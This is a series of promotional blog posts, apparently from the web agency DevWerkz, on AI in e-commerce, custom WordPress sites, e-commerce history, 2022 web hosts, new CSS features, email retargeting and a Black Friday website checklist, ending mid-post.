If these statistics tell us anything, it’s that AI can help your E-commerce business succeed in the fast-paced, fiercely competitive world of online shopping. AI has changed how an ecommerce website developer builds digital storefronts, which we’ll cover below.

Personalized Product Recommendations

Recommending the same products and deals to customers is now a thing of the past. To grow your business and beat the competition, you must understand and adopt the latest E-commerce technology trends, including personalization.

Businesses that value customer preferences and satisfaction see increased customer engagement and lead conversion rates. Yet, brands find real-time data analysis challenging.

This is where AI comes in, with product recommendation engines examining consumer and product data. Personalized recommendations are based on these data sets, improving your ideal customer’s shopping experience as a result.

How Does AI Personalize Product Recommendations?

AI algorithms look into the following types of data to deliver personalized product recommendations to shoppers:

• Personal information
• Behavioral patterns
• Previous transactions
• Consumer demographics
• Product names, categories, and images

These algorithms also use new data and help you predict whether a shopper would buy a specific product from you. Overall, your E-commerce store can confidently show customers products they’d want to purchase.

Customer Support

If you’ve browsed another E-commerce website, you’ve probably seen a chatbot on your screen. AI for customer support is built with natural language processing (NLP) or similar technologies for significant conversations with humans.

Specifically, chatbots can understand the context of the conversation, identify certain emotions to determine customer intention, and create a reliable database for future interactions.

Many E-commerce sites use AI-driven bots after customers buy a product. However, these customer support automation tools can also assist shoppers at different stages of the customer journey. For example, visitors can ask a bot where to find sportswear on your site before checkout.

Inventory Management

AI can also help with inventory management through advanced predictive analytics. This feature assesses current inventory levels and monitors your supply chain to ensure you meet customer demand.

Using machine learning, you can estimate the exact number of products to order and sell. Additionally, older research found that companies handling their supply chains with AI saved on logistics costs by 15%.

Dynamic Pricing

When it comes to pricing, many E-commerce stores compute sales with basic tools and offer products at the same prices.

You may find static pricing best for your businesses as it doesn’t require thorough data analysis and pricing changes. Nonetheless, this tactic decreases your revenue. With AI-powered E-commerce tools integrated into your online storefront, you can offer dynamic pricing to generate more profits.

Dynamic pricing means selling your products at prices based on:

• How the market is performing
• What your ideal customer needs
• How much your competitors are charging for the same product

AI algorithms set dynamic pricing according to real-time supply and demand levels, consumer demographics, and competitor pricing. Ultimately, it gives your business several benefits, including a competitive edge over other retailers.

Fraud Detection

E-commerce businesses also deal with fraud, which can take many forms: phishing, identity theft, account takeover fraud, and costly chargebacks. All of these can decrease revenue.

If you want to combat fraud, consider asking an ecommerce website developer to add a dedicated AI-powered plugin to your online store. It’ll go through each shopper’s device information, location, behavior, order history, and preferred payment method, identifying possible issues and deceptive transactions immediately.

Overall, using AI-driven fraud detection and pattern recognition can help you prevent fraud and protect your hard-earned revenue.

Review Filtering

93% of consumers read online reviews before buying from E-commerce stores. Still, it allows disgruntled customers to use review bombing to tarnish a retailer’s reputation. Review bombing involves giving businesses fake reviews that lower their ratings.

AI can screen reviews of your online shop to discourage this behavior. If you use machine learning models for this task, they’ll flag fabricated reviews, spot suspicious behavior, and find hashtags about review bombing.

Product Descriptions

A rapidly expanding E-commerce business needs fresh, accurate product descriptions for more relevance to customer searches. You can use AI and NLP to write optimized copy instantly while saving time and effort.

AI writing tools let you produce unique copy tailored to your ideal customer. Top AI-powered SEO software offers writing tools, a keyword ranking tracker, and a content idea generator, streamlining your content production process and helping you rank higher for related keywords.

Visual Search

Since E-commerce relies on visuals to earn considerable revenue, it’s important to build visual search into your online store. In other words, visitors send images of their desired products to your website’s internal search engine.

To add visual search to your E-commerce store, some AI tools use image recognition technology. It helps their algorithms analyze images and identify objects by looking at texture, pattern, color, shape, and size.

Apart from recognizing items, machine learning algorithms can look for information in their database for personalized recommendations. This adds to the various benefits of visual search, which gives customers a simpler way to find the products they want and buy them immediately.

Increasing Conversions

Sometimes, shoppers may change their minds and leave your store without taking their carts to checkout. Abandoned shopping carts significantly affect conversion rates.

AI can boost your conversions and reduce churn rates by retargeting qualified leads with abandoned carts. It gathers user data and contacts shoppers when they don’t buy the items in their cart. One way that AI retargets your prospective customers is to send automated follow-up emails about their shopping carts.

Voice Search

Voice commerce works like visual search, except that customers use their voice to buy products or services. Although it may be new to most shoppers, voice-activated shopping has become a popular option thanks to AI in E-commerce.

With AI and NLP, voice search decodes voice commands by analyzing specific terms, their context, and grammar. This way, your customers can look for products more easily, compare prices between brands, add items to their cart or wishlist, and pay for their chosen products.

Integrating voice search into your E-commerce site also attracts more customers, including people with disabilities, for a more inclusive shopping experience. More importantly, using virtual voice-activated assistants makes potential customers feel like they’re talking to a real salesperson.

Increase Sales with a Smart & User-Friendly Online Store

The E-commerce sector moves fast, making long-term success tougher to achieve. AI now holds the key to more customers and sales, as it helps you deliver the best shopping experience possible in multiple ways. Of course, the technology should be combined with human expertise to build smart, user-friendly E-commerce websites that drive you substantial revenue.

Are you launching a new online storefront or refining your E-commerce strategy? Devwerkz offers strategic E-commerce website development solutions tailored to your business. Contact our ecommerce website design company today or get more expert insights from our blog.

The 7-second bounce: that’s how quickly visitors abandon a website that feels generic or familiar. When your site blends in with countless others, you’ve fallen into the template trap.

WordPress may power nearly half the web, but that popularity comes with a paradox. How does your brand stay memorable when everyone has access to the same themes? It’s like showing up to a networking event where everyone’s wearing the same outfit. No matter how great your product is, being forgettable online is a death sentence.

Custom WordPress development isn’t just a luxury—it’s your escape from digital sameness. It’s the difference between forcing your business into a pre-fabricated box versus crafting a digital space that feels like it was built from the ground up for your brand (because it was). In a world where users make split-second judgments about your credibility, that distinction isn’t just nice to have—it’s necessary.

What is Custom WordPress Development?

Custom WordPress development involves building your WordPress website from scratch to align with your specific business goals and brand identity.

Unlike pre-built themes, which limit customization options, a custom WordPress design allows you to completely customize your site’s appearance and functionality. A skilled custom WordPress developer will work closely with your team to understand your business objectives, target audience, and unique selling propositions. 

This approach ensures that every aspect of your website, from visual design to user flows and backend functionality,  serves your specific business objectives rather than forcing your brand into a template.

Key Differences Between Custom and Pre-Built WordPress Solutions

1. Unique Brand Identity vs. Cookie-Cutter Design

Pre-built themes often result in websites that look remarkably similar to thousands of others online. Even with minor customizations, the underlying structure remains recognizable.

In contrast, custom WordPress web design creates a unique digital presence that reflects your brand’s personality and values. Our website design and development team at DevWerkz ensures that every visual element—from typography and color schemes to layout and animations—reinforces your brand identity and creates a memorable user experience.

2. Tailored Functionality vs. Bloated Code

Pre-built themes typically include numerous features to appeal to the widest possible audience. This results in unnecessary code that slows down your site and complicates the user experience.

Custom WordPress website development includes only the functionality your business needs, ensuring optimal performance and streamlined user journeys. This focused approach eliminates bloat, improves site speed, and enhances user experience; all critical factors for both conversion rates and search engine rankings.

3. Scalability vs. Limitation

Your website needs to evolve as your business grows. Pre-built themes often create limitations that become apparent only when you attempt to add new features or scale your operations.

A custom WordPress solution is designed with your business’s future in mind. It allows for seamless scalability and the easy integration of new features as your needs evolve. This forward-thinking approach delivers long-term value and prevents the need for complete rebuilds as your business expands.

4. Enhanced Security vs. Vulnerability

Due to their widespread usage and predictable code structure, pre-built themes and plugins often present security vulnerabilities, making them attractive targets for hackers.

Custom WordPress website development follows security best practices from the ground up, reducing vulnerabilities and protecting your business and customer data. Custom solutions typically include only essential plugins from reputable sources, minimizing security risks.

Key Services from Custom WordPress Development Companies

1. Strategic Planning and UX Design

Professional custom WordPress development begins with a comprehensive discovery phase to understand your business objectives, target audience, and competitive landscape. This strategic foundation informs the user experience design, ensuring your website looks great and effectively guides visitors toward desired actions.

If your site isn’t performing as expected, it might be time for a complete redesign. Learn more about when a website redesign is necessary to determine if your business could benefit from a fresh approach.

2. Responsive Custom WordPress Web Design

Today’s users access websites from various devices, making responsive design essential. Custom WordPress website design ensures your site provides an optimal viewing experience across all devices—from desktop computers to smartphones and tablets.

Your website’s navigation structure significantly impacts user experience and conversion rates. Understanding the best ways to improve website navigation can enhance your site’s user engagement and guide visitors toward conversion.

3. Custom Plugin and Feature Development

While pre-built plugins offer general functionality, many businesses require specialized features to support their unique operations. Custom WordPress developers can create bespoke plugins and features tailored to your business processes, from advanced e-commerce functionality to custom booking systems or specialized customer portals.

4. Performance Optimization

Site speed significantly impacts user experience, conversion rates, and search engine rankings. Custom WordPress website development services include comprehensive performance optimization, from efficient code structure and optimized database queries to advanced caching strategies and content delivery network integration.

5. Ongoing Support and Maintenance

A professional custom WordPress development partner provides continuous support and maintenance to ensure your website remains secure, up-to-date, and performing optimally. This ongoing relationship allows your website to evolve alongside your business, incorporating new features and optimizations as needed.

Investing in Your Brand’s Digital Future

Template solutions offer short-term savings, but limited functionality and eventual rebuilds lead to higher costs. On the other hand, Custom WordPress development delivers lasting value through unique design and optimized performance. By investing in a tailored WordPress solution, you’re not just building a website. You’re creating a powerful business tool to grow and evolve alongside your brand.

DevWerkz combines technical expertise with strategic thinking to create websites that drive business results. We can help you build a website representing your brand and connecting with your audience.

From small items like clothes and stationery to larger parcels like home appliances and furniture, we can get our hands on almost everything over the internet—and in the comfort of our homes!

Of course, it wasn’t always this glamorous and easy. In this blog, we’ll take you through the history of eCommerce, where it is today, and where it’s headed. 

The History of eCommerce

eCommerce has gone a long way from its humble beginnings. In 1979, Michael Aldrich, a British inventor developed online shopping. 

Back then, it was called teleshopping. Aldrich’s invention connected domestic TVs to a processing computer via the telephone, which allowed consumers to order from and message businesses using a simple interface. The technique was later renamed eCommerce.

When the Internet and the Word Wide Web became available to the public, eCommerce gained economic viability. In 1994, Pizza Hut started taking online orders on its website. A year later, eBay was born, and Amazon secured its first sale.

From there, more and more people enjoyed Internet access and participated in online shopping. In 1996, there were over $1 billion in online sales. When PayPal was introduced in 1998, it drove the growth of eCommerce further as it provided an easy way to pay online.

Unfortunately, the Internet bubble burst of 2001 left many online businesses bankrupt. To encourage online purchases, companies offered big sales and promos during the holidays. By 2005, eCommerce officially made a comeback and the term “Cyber Monday” was coined to mark the biggest online shopping day of the year.

The following years saw the continuous rise of eCommerce. Hundreds of online shopping platforms were established and global eCommerce transactions breached $20 trillion. 

eCommerce Now

Today, eCommerce remains unstoppable. Recent events like the COVID-19 pandemic greatly shifted consumers’ preferences from buying at physical stores to purchasing goods online. And now that most of the world is going back to the old normal, eCommerce maintains its progress. 

Important Statistics

So how big is eCommerce, you might ask? That’s something best described using numbers.

• Retail eCommerce sales in 2021 amounted to over $4.9 trillion. (Statista) 
• eCommerce sales currently make up 22% of the total retail sales across the globe. (Morgan Stanley) 
• 93.5% of all internet users have purchased something over the internet. (OptinMonster)
• There are over 12 to 24 million eCommerce websites worldwide. (WPForms)
• Annual eCommerce sales are forecasted to exceed $6 trillion by 2024. (Shopify)

Current Trends

Modern innovations have improved eCommerce tremendously, creating better online shopping experiences. In 2022, the most influential trends include augmented reality (AR), chatbots, and mobile shopping.

AR as a gamechanger

AR technology allows users to virtually try on a product before making a purchase. AR has been around for a while, but it wasn’t until recently that the technology became mainstream in eCommerce. 

Fashion brands utilize AR so that shoppers can “fit” clothes and accessories. Other companies grant users the ability to set 3D models of furniture into their space. Because the models are to scale, consumers get a good feel of the products without having to visit physical stores.

24/7 customer service chatbots

One of the best ways to attract customers and increase repeat buyers is to ace customer service. The advantage of online shopping is that there are many avenues to provide customer service even after business hours. And in this area, chatbots are currently in the lead.

Sophisticated chatbots can assist consumers while shopping by giving personalized recommendations, answering FAQs, and leading them to checkout. The best part is that they’re responsive at any given time.

Mobile shopping domination

Mobile shopping is steadily eclipsing purchases made on desktops. According to Statista, mCommerce (mobile commerce) is expected to grow twofold by 2025, amounting to over $710 billion. 

This trend emphasizes the importance of responsive design and a mobile-first approach to web design and development. 

Other trends

Apart from the big three, current eCommerce trends highlight personalization, big data, video content, and multiple payment methods.

Challenges

While eCommerce is enjoying the spotlight, the industry isn’t without problems. With millions of shopping platforms available, the market is saturated and small businesses have a hard time converting visitors and earning customer loyalty.

Customer expectations are also at an all-time high since users are accustomed to fast loading times and seamless shopping experiences from established brands. Because there are so many options available, users don’t settle for less and are quick to bounce out of unoptimized websites and web apps.

Another major challenge is cybersecurity and data privacy. Technological advancements are great for business owners and consumers, but they also empower cybercriminals. Since eCommerce platforms process a lot of confidential information, it’s pressing to double down on security measures to prevent data breaches. 

On the Horizon

Many experts believe that eCommerce is here to stay. The industry is going to continue evolving as new tools and software are introduced. Unfortunately, this means that businesses that fail to adapt are going to get pushed out of the competition. 

As early as now, it’s important to look ahead and keep an eye out for future trends. Voice search and visual search are getting tons of traction but not many eCommerce websites are utilizing them just yet.

Delivery drones are also on the rise. Amazon, UPS, and Domino’s already have them integrated into business operations, albeit on a small scale. There are long ways to go before drones get commercial approval and become accessible to startup brands. But what’s for sure is they will reshape eCommerce significantly.

Finally, and perhaps the most urgent, is the impending death of third-party cookies. When the time comes, eCommerce platforms would have to rethink their strategy on personalization. 

Future-proof your online platforms 

Want to boost conversion rates and leverage the latest trends? 

Work with a seasoned team of web developers and designers. At DevWerkz, we build stunning websites with the newest technologies to grow and future-proof our clients’ businesses. Contact us today.

Optimizing images and cleaning up your code won’t make much of a difference if your web host is not up to par. 

Before signing a deal, double-check what’s included in web hosting packages. Ideally, web hosts should have uptime above 99% and offer regular backups and security checks. It’s also a good idea to research what other people have to say about the service provider.

Of course, if you do that, you’ll be sifting through hundreds of options. So to help you decide, we came up with a list of the best web hosting services in 2022.

1. Hostinger

Hostinger offers a variety of web hosting services, including—but not limited to—WordPress, VPS,  eCommerce, and shared web hosting. 

Hostinger’s team uses the latest technologies like HTTP/3, IPv6, and CDN to secure data and provide smooth online experiences. It operates on CloudLinux and regularly updates its system to prevent malware attacks and other cybersecurity threats.

Response time ranges from 11 to 274 milliseconds, while uptime is 99.99%. SSL certificates are included on top of a free domain, 24/7 customer support, and a 30-day money-back guarantee.

Its basic WordPress plan starts at $9.99, which is good for one website and comes with 30GB SSD storage.

2. HostGator

HostGator is a tried and tested web hosting service provider with over 2 million clients—30% of whom are web professionals. Like Hostinger, it offers round-the-clock customer support to address problems immediately.

Hostinger markets itself as a ready-to-go solution for WordPress website owners. Its control panel is intuitive enough for beginners to navigate, making it easy to set up auto-backups, restore previous versions, and handle account management tasks.

The web service provider reports 99.9% uptime and lightning-speed loading time to improve UX and SEO. Hostinger also scans your website daily and removes malware using top-notch web security tools. 

You can avail of its starter plan for one website for $14.86 a month with 1 GB backups, a free SSL certificate, and a free domain.

3. Bluehost

Bluehost offers shared, dedicated, and VPS hosting. All four of its shared hosting plans come with a free WordPress website builder, domain manager, resource protection, SSL certificates, Google Ads, and Google My Business.

For $9.99 a month, Bluehost’s basic shared hosting plan provides 50 GB SSD storage, 5 GB worth of database storage, and 10 GB of database usage. You also get 200,000 maximum files attributed to your domain. 

Meanwhile, its WooCommerce web hosting plan starts at $12.95 a month with 24/7 support to help you build a successful online store with multiple caching layers and on-site monitoring and analytics.

Moreover, if you have an existing website and wish to migrate your files, you can avail yourself of Bluehost’s migration services to ensure everything is transferred securely. 

4. Dreamhost

Dreamhost is a leading web hosting service provider and winner of PCMag’s “Editors’ Choice” award for five years in a row. The company emphasizes web security as a way to boost visibility and earn the trust of search engines. 

Dreamhost is packed with security features like Multi-Factor Authentication, auto-enabled sFTP, and free secure hosting with Let’s Encrypt. Its reported uptime is 100%, and Dreamhost guarantees fast and reliable services.

You also don’t need to worry about forgetting to backup your website. Dreamhost creates automatic backups of your pages daily and protects your data without additional charges.

For $1.99 a month, its basic WordPress hosting package includes a free SSL certificate, unlimited traffic, and a WordPress site builder, among others. 

5. GreenGeeks

GreenGeeks is a fast, secure, and eco-friendly web hosting provider. Since its launch in 2008, it worked its way to the top as one of the fastest, most secure, and scalable web hosts in over 150 countries. 

RAID-10 SSD storage, LiteSpeed, LSCache, and HTTP/3 are some of GreenGeeks’ secret weapons to reduce loading time significantly. Moreover, in-house WordPress experts optimize the technology to ensure 99.9% uptime. They also develop custom tools to give their clients a competitive edge.

But what makes GreenGeeks truly stand out from the rest is their use of eco-friendly data centers and servers. The company also fulfills its commitment to plant one tree for every subscription.

Its cheapest plan is $10.95 a month, which gets you 50 GB of web space, a free SSL certificate, a free domain name, and website backups. GreenGeeks is available for hosting WordPress websites, WooCommerce stores, and other platforms in need of either a shared or dedicated web host.

6. InMotion

InMotion offers cost-effective, fast, and reliable web hosting for small and large businesses. Featuring industry-leading speed and expansive security coverage, it’s trusted by thousands of website owners and independent sources.

InMotion has a 90-day money-back guarantee on all of its plans, which is a testament to how seriously they take their business. According to their website, their WordPress hosting is up to 40x faster than other service providers, while their shared hosting platform is up to 20x faster with the help of NVMe SSD storage.

SSL certificates are included, together with a free domain, free CDN, and remote SSH access in PHP, MySQL, PostgreSQL, and more.

A one-year subscription to InMotion’s shared hosting costs $3.48 a month. This package is good for two websites with unlimited bandwidth, 100 GB SSD storage, a security suite, and marketing tools. Its annual WordPress plan, on the other hand, goes for $4.49 a month with the same specs plus native backups and migrations.

7. WP Engine

WP Engine is a web hosting service we personally recommend over at DevWerkz. Over 1.5 million websites from across the world trust WP Engine, including big brands like Pandora, Yelp, and Thomson Reuters. 

Whether your website is for a small to medium business, eCommerce, or a large enterprise, WP Engine has the tools you need to succeed. The web host schedules automated updates and daily backups to help maintain and secure your portal. It also comes with DDoS protection, a robust firewall, and SOC-2 Type II examination backing.

If you’re new to the online scene, WP Engine is the perfect choice because of its renowned 24/7 technical support, intuitive website builder, and premium themes and block tools. 

WP Engine charges $23 a month for their Managed WordPress Plan with 10 GB storage, 50 GB bandwidth, 25,000 visits per month, maximum speed, and enhanced SEO. 

8. Kinsta

Kinsta has over 23,500 clients in its portfolio. From websites and online shops to agencies and large enterprises, Kinsta delivers top hosting services and expert support. 

What draws developers and website owners to Kinsta is their access to Google’s C2 machines and Google Cloud Platform. These technologies allow global availability and industry-leading speed to boost web performance by up to 200%. 

WordPress clients are also given custom-designed performance monitoring tools regardless of their chosen plan. These show web administrators which parts of their web pages contribute to slow loading time.

Kinsta’s starter plan is priced at $30 a month for one WordPress website, 10 GB disk space, a free SSL certificate, CDN, and migration assistance. 

9. SiteGround

Finally, there’s SiteGround. SiteGround is a powerful hosting platform with default static and dynamic caching enabled for optimal speed. It’s built on top of Google Cloud infrastructure and is quick to integrate new technologies and compression algorithms like Brotli, TLS 1.3, and QUIC.

Using Google’s SSD persistent storage, SiteGround has a failsafe in case the hosting server shuts down. Multiple redundancies allow the web host to redirect the storage volume to another hosting node without having to manually restore data. Meaning, your website is always going to be up and running no matter what.

Another unique feature of SiteGround is a custom PHP setup developed by the company. By reducing TTFB (time to first byte) and improving overall resource usage, web pages load up to 30% faster than average.

Pricing starts at $14.99 a month for one website with 10 GB of web space, a free SSL certificate, daily backups, unlimited databases, and more.

Final Words

Looking at our list, you might be tempted to dive in and sign a contract with a web host with the fanciest specs. But before you do, take time to think about what your website needs at this moment.

The size of your website and the amount of web traffic you expect are important considerations that will save you from paying for premium packages unnecessarily. Many web hosting services, including the ones we talked about, offer scalable solutions.

Also, don’t be afraid to avail of free trials if possible.

Grow Your Website with DevWerkz

Mark your online presence and boost conversions when you work with a team of professional web developers and designers. We build and optimize websites with the latest tools and web development best practices. Contact DevWerkz today.

In a nutshell, CSS lets you create a set of rules that tells web browsers how to render an HTML document. For example, if you want to change the color of your headlines from black to blue, you’d switch to CSS and enter a code that looks something like this:

h1 {

  color: blue;

}

Of course, that’s an easy example, but the logic behind CSS is fairly intuitive. For that reason, web developers and designers stand by CSS to effortlessly maintain and update the look of their websites.

CSS has changed tremendously over the years to improve its features and code. In this blog, we’re going to look at 7 new features CSS has to offer in 2022.

1. Container Queries

Responsive web design is non-negotiable in today’s context. It’s not uncommon to find consumers who surf the web using multiple devices at once. As such, your site must be prepared to cater to different gadgets with varying screen dimensions. 

To do this, you need to adjust your designs and move around visual elements depending on the size of the viewport. The problem is that some components don’t automatically adjust to the changes made to their parent containers.

For instance, a photo would keep its original size even though its container shrank to fit on the screen. 

Container queries define the full range of styles components must follow based on the specifications of their containers. You can still use a responsive grid for your general page layout while container queries fine-tune the individual sections of the page.

As you can imagine, this feature presents an elegant solution to common problems with CSS’s Grid. 

2. Accent Color

Styling forms is one of the most tedious tasks when building a website. Forms, along with many other controls, follow the default styles of web browsers. If you want to customize their appearance, you’d have to go out of your way to write code from scratch.

A single color change would require a significant amount of work that could slow you down. Accent color addresses this problem by allowing you to adjust the colors used on controls with a single line of CSS.

As of writing, accent color is supported only by checkboxes, radio buttons, range controls, and progress bars. Modifying other form controls require the traditional approach of styling. But don’t fret, we’re sure this feature will earn better browser support after a few more months.

3. Subgrid

A few weeks into exploring CSS, you’ll discover that a recurring problem is aligning nested subgrids with the parent grid. That’s because nested grids act independently of the main grid and each other.

With subgrid, there’s no need to manage separate grids to adjust their dimensions. Instead, you can indicate that certain rows and columns belong to a larger grid and have them respond to new ratios and positions accordingly.

Subgrid is already supported by Firefox but is not yet available on Google Chrome. 

4. Overscroll Behavior

Consider a web page with an element that has independent scrolling. When you reach the end, the default setting is for the scrolling to affect the next parent element. This is called scroll chaining.

Some websites take advantage of scroll chaining and work it into their UI design. But for many, scroll chaining is an unwanted effect that confuses users. 

Overscroll behavior is an elegant solution that overrides scroll chaining. With it, users can focus on modal content without having to worry about moving the main page.

Overscroll behavior is especially useful for mobile navigation, chat components, horizontal lists, and sidebars. 

5. New Viewport Units

Anyone who has ever tried to code a website for Safari iOS knows the pain of having to set viewport units. When a container is set to a size in the unit vh, the mobile browser displays it smaller than expected.

To work around this bug, you’d need to apply a script that resizes the container for you. Aside from the hassle of loading a new script, some workarounds negatively impact Chrome users.

Thankfully, CSS is now offering new viewport definitions and relative lengths. These include vw, svw, lvw, and dvw. These units correspond to 1% of the width of the UA-default viewport size, small viewport size, large viewport size, and dynamic viewport size, respectively.

dvw effectively solves the issue on Safari without causing glitches on Google Chrome. Logical variants like svi/svw are also available.

6. CSS Parent Selector :has()

:has() is one of the features on this list that have yet to gain extensive browser support. It’s a parent selector that lets you choose specific elements based on custom criteria. The best way to understand it is to think of :has() as a parent selector pseudo-class. 

It allows you to select  <div>s containing <p> effortlessly or apply styles to certain elements depending on their content.

Up until this point, CSS did not support parent selectors to avoid performance issues. Now, :has() opens tons of possibilities as it reshapes CSS entirely.

7. Cascade Layers

The thing that makes CSS so iconic is also the cause of many of its problems. Cascading conflicts and selector specificity top that list, prompting developers to avoid using the cascade altogether.

CSS overrides style changes to one element if another element in the cascade has higher specificity. For big projects, it’s almost inevitable to run into this issue because of the large codebase. 

Different methodologies have been developed to circumvent this problem. The downside is that all of them require extra code work that’s time-consuming and inefficient. This is where cascade layers come in.

Cascade layers grant developers better control over themes, frameworks, and designs to take full advantage of the cascading system. Whereas original cascading is built around heuristics, cascade layers allow direct manipulation and management of the internal cascade logic.

By introducing an additional layer into the cascade to define style variations, the feature ensures that the components will not automatically follow the base styles. Instead, components are rendered depending on the rules written on the layer as well as the order of the layers you’ve established.

Conclusion

CSS will only continue to grow and evolve. As we wait for the widescale implementation of the feature above, new ideas are being conceptualized as we speak. 

Getting the hang of such updates takes effort but they ultimately improve our workflow. Take advantage of these developments to create robust products for your clients.

Work with the Best Web Development Agency

Looking to outsource your web development project? We specialize in building custom websites for all industries. Contact DevWerkz today. 

Consumers love to take their time and get to know a brand before placing their orders. Because they can’t hold products when shopping online, it takes a while for them to warm up and take the leap. 

Studies show that 97% of first-time visitors leave your website without buying anything. 

Let’s put this in the context of Black Friday, for example. As much as we want to churn out sales, some consumers just aren’t ready, which isn’t necessarily a bad thing. The fact that they’ve been to your website and have seen what you have to offer is a step in the right direction. 

But you need to work to bring them back—as in email retargeting.

What is email retargeting?

Email Development is one of the best ways to nurture customer relationships and expand your customer base. In email retargeting, you re-engage leads and clients who have not taken action or have been idle for some time.

A lot of people confuse retargeting for remarketing. Remarketing is when you reintroduce an existing product after analyzing how it has appealed to consumers. 

It’s sort of like a product relaunch. You improve the item or service after realizing it’s not attracting customers or that it fills a different need from what you’ve originally had in mind.

In contrast, retargeting is a gentle nudge. You contact consumers who have already shown interest in your product but didn’t push through the transaction. 

The item stays the same, you’re just sending a reminder to users in the hopes that their hearts are finally set to seal the deal.

When to use email retargeting?

Email retargeting can be done year-round and is a powerful adjunct to your usual Email Development campaigns. 

There are, however, certain situations when email retargeting makes a bigger impact. When you notice a spike in abandoned shopping carts, email retargeting helps recover lost revenue. 

It’s also effective in encouraging repeat buyers and personalizing promotions for your email subscribers.

How does email retargeting work?

Email retargeting has a lot to do with understanding consumer behavior. Which of your links or buttons get the most clicks? At what point do people usually bounce off of your website? Which ad led them to your digital store?

The beauty of it is that there’s been initial contact, which means it’s only a matter of pushing the right buttons. You already know what your users are interested in and you can use that to your advantage to craft highly personalized messages.

The most common way to track key web activities is to enable website cookies. Marketers also use tracking pixels to monitor what users do upon opening an email message.

With good copy, stunning graphics, and perfect timing, you’ll push consumers further along the sales funnel and secure conversions.

Email retargeting tips and best practices

While there’s already some groundwork laid out, you need a detailed strategy for a successful retargeting campaign. Some of our tips include:

Track web activity

There is an abundance of tools out there to help you monitor and make sense of consumer behavior. But if you don’t know what you should be looking at, then they’re all worthless. 

On top of the list is identifying which of your web pages users looked at the most and how visitors move through your website. You’d also want to check what kind of emails have the highest and lowest engagement rates.

If you’re retargeting past customers, look back to their past purchases, how much they spent, and how frequently they order from your store. 

Segment your subscribers

Email segmentation is non-negotiable. Consumers have different needs. Even if two people fit the profile of one buyer persona, they may be on different stages of the sales funnel or have varying interests. What’s important for one customer won’t exactly apply to another.

Creating highly targeted lists ensures that you reach out to consumers with content that is most relevant to them. The more specific you can get, the better.

Personalize your emails

When you’ve done your research and grouped your consumers, don’t let your work go to waste. Work with your data and personalize your emails. 

This goes beyond addressing consumers by their nicknames. Notify them on blogs or new items that are aligned with their interests, target their soft spots, and create meaningful online experiences.

Optimize graphics

Emails with pure text don’t leave much of an impression on your readers. In fact, lengthy blocks of text seem daunting and give off an unapproachable vibe. 

Images and illustrations aren’t just for aesthetics. When you present information using graphics, it’s easily understood and consumers respond better and far more quickly.

Time your emails well

One of the many conveniences of the internet is that it makes information very accessible. But at the same time, it bombards us with so much stimuli that it’s easy to forget what we’ve seen on one website as we jump to the next.

That is why you need to act fast when re-engaging first-time visitors and those who have left stuff in their cart. BI Intelligence reports that abandoned cart emails sent within three hours after the user exited have a 40% open rate and a 20% click-through rate. 

Timing makes all the difference and determines whether or not you’d be able to convert leads and keep your consumers.

Give your consumers space

Although it’s urgent to send reminders and make an effort to minimize customer attrition, you need to be mindful of how frequently you contact your email subscribers. 

Waking up to an inbox full of your messages and ads can make consumers feel suffocated or that they’re being stalked. 

Use automation tools

To help you get the timing right, take advantage of Email Development automation tools. Most tools allow you to integrate your email blasts to your website so that certain actions trigger sending messages.

You can set your tool to contact users on their birthday, during the holidays, and other special events. Tools for customer segmentation are usually included on the dashboard. 

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To make sure you’re all set, we’ve created a last-minute checklist for your website. Go over this list and watch this year’s Black Friday Sale go off without a hitch. 

1. Site speed and performance

The holidays bring in a lot of new visitors to your website, especially if your marketing team did a good job. While it’s exciting to think that more people will be looking into your store, you must be prepared for it. 

Traffic surges cause a lot of problems in site speed and performance if you don’t have the right infrastructure. The last thing you want is to experience downtime in the middle of the biggest sale of the year. 

Conduct regular speed tests leading up to the day and ensure that your servers can handle thousands of users at once.

It’s best to have dedicated servers for this occasion so upgrade your web hosting plan if you must. Also, Identify bugs and outdated software and address them immediately.

2. Website copy

Web copy that works on a normal day may not be enough during Black Friday. After all, you’re up against other brands that likewise aim to maximize their earnings. 

Optimize your web copy by doing keyword research and incorporating what you find into your copy. Every year is a little different. Current trends and the context of your shoppers influence what they’ll look up online.

Rather than aiming to rank for generic keywords, go for niche-specific or long-tail keywords by adding specifications. They may get less search traffic but they’ll appeal to shoppers who know exactly what they want to buy. 

The most important keywords should be on your main headings, title tags, alt texts, and product descriptions. This will make it easier for buyers to find your unique offers online.

3. Landing pages

Hopefully, by now, you’ve realized the power of custom landing pages. Many studies support the use of multiple landing pages to match different buyer personas and traffic sources for increased conversions.

It should go without saying that the ads you run for Black Friday deserve landing pages of their own. This gives consumers the satisfying feeling of continuity which encourages them to see the engagement through checkout. 

The design doesn’t have to be anything fancy. What’s crucial is that the content and visual elements are consistent with what the user saw on your ad. 

Focus on your offer and remove distractions. Landing pages exist with a singular purpose so anything that strays from getting a conversion has no place in your design.

4. Featured offers

You’ve probably heard a lot about integrating data analytics into your eCommerce website. Come Black Friday, the insights you’ve collected over the years are ten times handier. 

Knowing your best sellers helps you maximize profits. Your most loved products should be front and center on your website. If you can come up with a good bundle deal, you’ll attract a big crowd and claim a lump sum by the end of the holidays.

Choosing featured products is crucial since it sets the tone for the rest of the shopping experience. Whatever you highlight should be compelling enough to stroke someone’s curiosity or make the sale in an instant.

As always, place the most important and relevant information above the fold, and don’t forget to optimize banners so they load fast.

5. Discounts

Consumers are enticed by discounts because they create a sense of urgency. A ticking clock on slashed prices nudges buyers to swipe their card and checkout.

Advertise discounts as soon as possible to build anticipation. When it’s finally time to put them into action, make sure that they’re reflected on your website. 

Double-check whether or not they appear on product pages and the checkout page. Additionally, see to it that they match what you’ve put in ads and social media campaigns.

6. Promo codes

In the same vein, promo codes afford users the same rush. But what’s risky about them is faulty promo codes result in high cart abandonment rates. 

We’ve all probably experienced entering a promo code only to find that it doesn’t work or that it comes with a catch. It could be an issue of minimum spending, restriction to a particular payment method, unclear expiration dates, or simply that you haven’t updated your website.

Remember that your consumers shouldn’t have to jump through hoops to get what they want. Be transparent about the limitations of your promo codes so customers know what to expect from the start. Doing so will not only earn you more sales but also prevent customer attrition in the long run.

7. Checkout experience

Speaking of abandoned carts, nothing kills the prospect of a sure conversion faster than a dreadful checkout experience. 

When a customer is ready to pay, don’t block their way with lengthy forms. Buyers should be able to accomplish checking out their cart with just a few clicks, especially if they’ve done business with you before.

Adding multiple payment options helps speed things up and accommodates a variety of users. E-wallets like Google Pay are picking up steam so take steps to include them into your website.

For new shoppers, prioritize securing the sale before asking them to make an account. This way, they won’t need to re-input information they’ve provided and prevent them from bouncing off of your website.

8. Location data

Although we’re talking about eCommerce and online shopping, the pull of brick-and-mortar stores is still undeniable. 

